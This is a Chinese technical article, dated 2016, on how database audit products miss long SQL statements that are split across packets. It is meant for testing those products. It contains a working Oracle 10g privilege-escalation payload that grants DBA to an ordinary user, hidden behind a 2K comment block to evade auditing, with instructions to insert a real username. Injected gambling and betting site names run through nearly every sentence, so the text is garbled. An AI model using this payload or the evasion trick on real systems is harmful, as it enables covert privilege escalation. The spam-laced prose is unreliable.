?
內容中心
按關鍵字查找
數據庫審計产品常见缺陷之(二)长SQL语句漏审
作者:劉曉韬 發布時間:2016-08-16

大多数的SQL语句都在1K以里长度在线娱乐_用户注册(中国)娱乐中心首页大厅九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),市面上的數據庫審計产品大多都能准确记录下球友直播-球友直播app下载_球友直播app九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)熊猫体育【体育中国】官方直播平台认证网站,也能实现正常的解析;但在SQL语句超过1.5K时意昂体育·科技赋能场景,更省心娱乐,很多的數據庫審計产品就会发生漏审kg体育官网视讯(中文站) - 官方网站,或者只能审计下部分SQL语句熊猫体育「中国Panda」App下载官方网站意昂体育·科技赋能场景,更省心娱乐。

一般Oracle一个通讯包的长度在2Kkg体育官网视讯(中文站) - 官方网站球友直播-球友直播app下载_球友直播app,单一包内能够容纳的语句长度大约在1.4K多一点(大约为1460);超过这个大小的SQL语句一般会拆分成多包;在Oracle 11g下通常通讯包为2K九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),最大可以达到8K;对于Oracle数据库没有明确说明可兼容的SQL语句的长度九游会·J9-中国官方网站|真人游戏第一品牌,有的说32K或64K是个临界点九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)熊猫体育【体育中国】官方直播平台认证网站,但笔者也曾作过尝试2M做的SQL语句也能发送并被Oracle正常解析球友直播-球友直播app下载_球友直播appDB娱乐官网入口(中国大陆)有限公司官网在线娱乐_用户注册(中国)娱乐中心首页大厅。

对于一些數據庫審計产品B·体育【中国官】B-sports登录入口,由于没有将多个SQL通讯包进行有效解析和关联熊猫体育「中国Panda」App下载官方网站九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),在发生长SQL语句时会发生无法解析或解析不全的情况;具体表现是kg体育官网视讯(中文站) - 官方网站B·体育【中国官】B-sports登录入口九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),对于长SQL语句并未记录kg体育官网视讯(中文站) - 官方网站,或仅记录了前半部分DB娱乐官网入口(中国大陆)有限公司官网。

这种情况的危害是在线娱乐_用户注册(中国)娱乐中心首页大厅B·体育【中国官】B-sports登录入口,对于有些业务系统中自身就包含长SQL语句B·体育【中国官】B-sports登录入口,比如经分系统熊猫体育「中国Panda」App下载官方网站熊猫体育【体育中国】官方直播平台认证网站kg体育官网视讯(中文站) - 官方网站,报表系统在线娱乐_用户注册(中国)娱乐中心首页大厅九游会·J9-中国官方网站|真人游戏第一品牌球友直播-球友直播app下载_球友直播app,这些SQL语句会被漏记;同时意昂体育·科技赋能场景,更省心娱乐B·体育【中国官】B-sports登录入口,一些黑客或攻击人员会利用这样的一些漏洞熊猫体育「中国Panda」App下载官方网站,进行数据库攻击而不留下痕迹B·体育【中国官】B-sports登录入口球友直播-球友直播app下载_球友直播app。比如在线娱乐_用户注册(中国)娱乐中心首页大厅球友直播-球友直播app下载_球友直播app熊猫体育【体育中国】官方直播平台认证网站,若某个數據庫審計产品熊猫体育【体育中国】官方直播平台认证网站B·体育【中国官】B-sports登录入口,是基于单包解析机制进行的DB娱乐官网入口(中国大陆)有限公司官网熊猫体育「中国Panda」App下载官方网站熊猫体育【体育中国】官方直播平台认证网站,则对于超过1.5K的SQL语句无法记录或仅记录了前1.5Kkg体育官网视讯(中文站) - 官方网站,则攻击者可以首先加入1.5K长的注释熊猫体育【体育中国】官方直播平台认证网站DB娱乐官网入口(中国大陆)有限公司官网,然后再写语句熊猫体育【体育中国】官方直播平台认证网站,这样会发生漏审或被审计下来的信息无效B·体育【中国官】B-sports登录入口kg体育官网视讯(中文站) - 官方网站。

以下是来自于某个真实应用的SQL语句球友直播-球友直播app下载_球友直播app熊猫体育【体育中国】官方直播平台认证网站,达到1.9K;若是读者有相关的數據庫審計产品意昂体育·科技赋能场景,更省心娱乐kg体育官网视讯(中文站) - 官方网站DB娱乐官网入口(中国大陆)有限公司官网,可以用Toad或PL/SQL这样的工具进行发送B·体育【中国官】B-sports登录入口九游会·J9-中国官方网站|真人游戏第一品牌,观测下所拥有的产品是否能够审计下来意昂体育·科技赋能场景,更省心娱乐熊猫体育【体育中国】官方直播平台认证网站DB娱乐官网入口(中国大陆)有限公司官网,审计记录是否完全熊猫体育「中国Panda」App下载官方网站。

select spname,bm,sum(num) as heji,sum(case when fddm='002' then num else 0 end) as shipai,sum(case when fddm='063' then num else 0 end) as songbo,sum(case when fddm='005' then num else 0 end) as duobao,sum(case when fddm='006' then num else 0 end) as guangwei,sum(case when fddm='007' then num else 0 end) as jianshe,sum(case when fddm='008' then num else 0 end) as donghua,sum(case when fddm='039' then num else 0 end) as tongdong,sum(case when fddm='010' then num else 0 end) as jiebei,sum(case when fddm='011' then num else 0 end) as sanyuanli,sum(case when fddm='012' then num else 0 end) as nantai,sum(case when fddm='013' then num else 0 end) as huanshi,sum(case when fddm='014' then num else 0 end) as zhanqian,sum(case when fddm='015' then num else 0 end) as lujiang,sum(case when fddm='016' then num else 0 end) as dongchuan,sum(case when fddm='017' then num else 0 end) as taisha,sum(case when fddm='018' then num else 0 end) as huifuxi,sum(case when fddm='019' then num else 0 end) as zhujiang,sum(case when fddm='041' then num else 0 end) as donghu,sum(case when fddm='021' then num else 0 end) as wenming,sum(case when fddm='062' then num else 0 end) as huifu2,sum(case when fddm='042' then num else 0 end) as shiji,sum(case when fddm='043' then num else 0 end) as xincheng,sum(case when fddm='045' then num else 0 end) as gaoqiao,sum(case when fddm='046' then num else 0 end) as shixi,sum(case when fddm='047' then num else 0 end) as nanzhou,sum(case when fddm='048' then num else 0 end) as sanyuanlidadao,sum(case when fddm='050' then num else 0 end) as jingxi,sum(case when fddm='051' then num else 0 end) as chigang,sum(case when fddm='052' then num else 0 end) as panfu,sum(case when fddm='053' then num else 0 end) as jichangxi,sum(case when fddm='054' then num else 0 end) as shengdi,sum(case when fddm='055' then num else 0 end) as wendenan,sum(case when fddm='056' then num else 0 end) as ronghuanan from sale3 where khname in ('$khbmem') group by bm;

以下是另一个模拟的攻击性的SQL语句球友直播-球友直播app下载_球友直播app九游会·J9-中国官方网站|真人游戏第一品牌九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),这个语句在Oracle 10g上运行九游会·J9-中国官方网站|真人游戏第一品牌B·体育【中国官】B-sports登录入口九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),将把一个普通的数据库用户提权到DBA;但我们在对这个语句发送前熊猫体育「中国Panda」App下载官方网站,在前面用2K的注释进行掩护九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),请笔者观测下所拥有的产品能否将这个语句审计下来kg体育官网视讯(中文站) - 官方网站,审计结果是否完善在线娱乐_用户注册(中国)娱乐中心首页大厅九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)熊猫体育【体育中国】官方直播平台认证网站。

/*************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

*************************************************************************/

select

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',

'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' grant dba to NormalUser'''';END;'';END;--','SYS‘,0,'1',0)  from dual;

在實驗時九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)在线娱乐_用户注册(中国)娱乐中心首页大厅,請讀者別忘了將NormalUser改爲實際的用戶名意昂体育·科技赋能场景,更省心娱乐,則運行通過後將實現提權意昂体育·科技赋能场景,更省心娱乐球友直播-球友直播app下载_球友直播app九游会·J9-中国官方网站|真人游戏第一品牌。

SQL Server的通讯包一般在4Kkg体育官网视讯(中文站) - 官方网站,超过 4088个字符的SQL语句将被拆分;SQL Server支持的连续SQL通讯可达到256M在线娱乐_用户注册(中国)娱乐中心首页大厅,而对于SQL语句的长度没有明确限制(据网上的测试数据kg体育官网视讯(中文站) - 官方网站,应该超过228K)B·体育【中国官】B-sports登录入口熊猫体育「中国Panda」App下载官方网站。

MySQL的通訊包默認在1MDB娱乐官网入口(中国大陆)有限公司官网九游会·J9-中国官方网站|真人游戏第一品牌球友直播-球友直播app下载_球友直播app,在單個包的內的語句可以被執行九游会·J9-中国官方网站|真人游戏第一品牌球友直播-球友直播app下载_球友直播app熊猫体育【体育中国】官方直播平台认证网站,MySQL不支持將SQL語句拆分到多個包中九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)熊猫体育「中国Panda」App下载官方网站九游会·J9-中国官方网站|真人游戏第一品牌。

读者可以自行构造一些针对SQL Server、MySQL的SQL语句进行尝试九游·会(J.9)集团官网 - 真人游戏第一品牌(首页),看我们所拥有的數據庫審計产品是否能进行准确的审计记录球友直播-球友直播app下载_球友直播app。要注意的是九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)熊猫体育「中国Panda」App下载官方网站,类似于Toad、PL/SQL这样的客户端工具通常都有SQL语句的长度限制DB娱乐官网入口(中国大陆)有限公司官网九游会·J9-中国官方网站|真人游戏第一品牌熊猫体育「中国Panda」App下载官方网站,但这往往不是数据库的SQL长度限制九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)B·体育【中国官】B-sports登录入口球友直播-球友直播app下载_球友直播app。

传统的基于网络审计发展而来的數據庫審計产品一般都没有实现跨包的SQL语句拼接熊猫体育【体育中国】官方直播平台认证网站,这些产品在测试或一般性的应用环境都不易暴漏出问题B·体育【中国官】B-sports登录入口,但对于一些复杂的经营分析系统B·体育【中国官】B-sports登录入口在线娱乐_用户注册(中国)娱乐中心首页大厅,基于自动SQL语句拼接编程的OA系统等九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)意昂体育·科技赋能场景,更省心娱乐,将会发生漏审的状况九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)。通常在发生漏审时九游会·J9-中国官方网站|真人游戏第一品牌熊猫体育「中国Panda」App下载官方网站熊猫体育【体育中国】官方直播平台认证网站,用户大多得到的解释都是归结于网络流量镜像的不稳定在线娱乐_用户注册(中国)娱乐中心首页大厅球友直播-球友直播app下载_球友直播app,可能造成了通讯包丢失球友直播-球友直播app下载_球友直播app。

从數據庫審計产品开发的角度九游·会(J.9)集团官网 - 真人游戏第一品牌(首页)球友直播-球友直播app下载_球友直播appDB娱乐官网入口(中国大陆)有限公司官网,不可能对SQL语句的长度不限长地记录意昂体育·科技赋能场景,更省心娱乐熊猫体育【体育中国】官方直播平台认证网站,关键是要看相关产品指标是否满足所应用的业务环境需求意昂体育·科技赋能场景,更省心娱乐熊猫体育「中国Panda」App下载官方网站B·体育【中国官】B-sports登录入口,以及能否有效过滤掉攻击性语句的掩护性字符意昂体育·科技赋能场景,更省心娱乐。


?